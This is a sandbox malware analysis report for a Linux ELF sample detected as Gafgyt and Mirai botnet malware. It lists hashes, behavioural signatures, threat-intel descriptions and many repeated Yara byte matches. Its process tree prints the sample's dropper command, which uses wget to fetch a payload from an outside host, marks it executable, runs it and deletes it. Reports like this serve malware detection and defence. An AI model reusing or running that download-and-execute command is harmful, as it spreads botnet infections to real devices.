Edit tour

Linux Analysis Report
x86.elf

Overview

General Information

Sample name:	x86.elf
Analysis ID:	1686581
Has dependencies:	false
MD5:	b1a9dfc6e42c89e400efad9451540b1e
SHA1:	90bec36b5d46d4f4d06d19360d217b474c9d3f32
SHA256:	5f0788259247b6d55e2d7dc87bd5ef445472cd3132b38971b3f252ee8f8ed91e
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai

Score:	96
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Contains symbols with names commonly found in malware

Opens /proc/net/* files useful for finding connected devices and routers

Creates hidden files and/or directories

Creates hidden files without content (potentially used as a mutex)

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "rm" command used to delete files or directories

Executes the "wget" command typically used for HTTP/S downloading

Reads the 'hosts' file potentially containing internal network hosts

Sample contains strings that are user agent strings indicative of HTTP manipulation

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1686581
Start date and time:	2025-05-10 07:43:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x86.elf
Detection:	MAL
Classification:	mal96.spre.troj.linELF@0/0@6/0

Warnings

VT rate limit hit for: gay.energy

Runtime Messages

Command:	/tmp/x86.elf
PID:	5528
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate alot
Standard Error:

Process Tree

system is lnxubuntu20

x86.elf (PID: 5528, Parent: 5445, MD5: b1a9dfc6e42c89e400efad9451540b1e) Arguments: /tmp/x86.elf

x86.elf New Fork (PID: 5529, Parent: 5528)

sh (PID: 5529, Parent: 5528, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."

sh New Fork (PID: 5533, Parent: 5529)

wget (PID: 5533, Parent: 5529, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget -q http://gay.energy/.../vivid -O .....

sh New Fork (PID: 5534, Parent: 5529)

chmod (PID: 5534, Parent: 5529, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 .....

sh New Fork (PID: 5535, Parent: 5529)

sh (PID: 5535, Parent: 5529, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./.....

sh New Fork (PID: 5537, Parent: 5529)

rm (PID: 5537, Parent: 5529, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf .....

x86.elf New Fork (PID: 5530, Parent: 5528)

x86.elf New Fork (PID: 5531, Parent: 5528)

x86.elf New Fork (PID: 5532, Parent: 5531)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
x86.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
x86.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
x86.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11560:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11574:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11588:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1159c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1163c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1168c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
x86.elf	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0xa27:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
x86.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x95c0:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
x86.elf	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x94d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
x86.elf	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x2602:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
x86.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x76ee:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x7752:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x77e5:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
x86.elf	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x1815:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x18ca:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x1b0b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
x86.elf	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27d:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35b:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
x86.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0xd2de:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
x86.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x99a1:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
x86.elf	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x1eb8:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
x86.elf	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x86f:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
x86.elf	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x14a3:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
x86.elf	Linux_Trojan_Gafgyt_859042a0	unknown	unknown	0x5d16:$a: 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F
x86.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x9c97:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
x86.elf	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f8:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d6:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
Click to see the 13 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5530.1.0000000000400000.0000000000416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11560:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11574:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11588:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1159c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1163c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1168c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0xa27:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x95c0:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x94d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x2602:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x76ee:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x7752:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x77e5:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x1815:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x18ca:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x1b0b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27d:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35b:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0xd2de:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x99a1:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x1eb8:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x86f:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x14a3:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_859042a0	unknown	unknown	0x5d16:$a: 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x9c97:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5530.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f8:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d6:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
5531.1.0000000000400000.0000000000416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11560:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11574:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11588:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1159c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1163c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1168c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0xa27:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x95c0:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x94d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x2602:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x76ee:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x7752:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x77e5:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x1815:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x18ca:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x1b0b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27d:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35b:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0xd2de:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x99a1:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x1eb8:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x86f:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x14a3:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_859042a0	unknown	unknown	0x5d16:$a: 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x9c97:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5531.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f8:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d6:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
5528.1.0000000000400000.0000000000416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11560:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11574:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11588:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1159c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1163c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 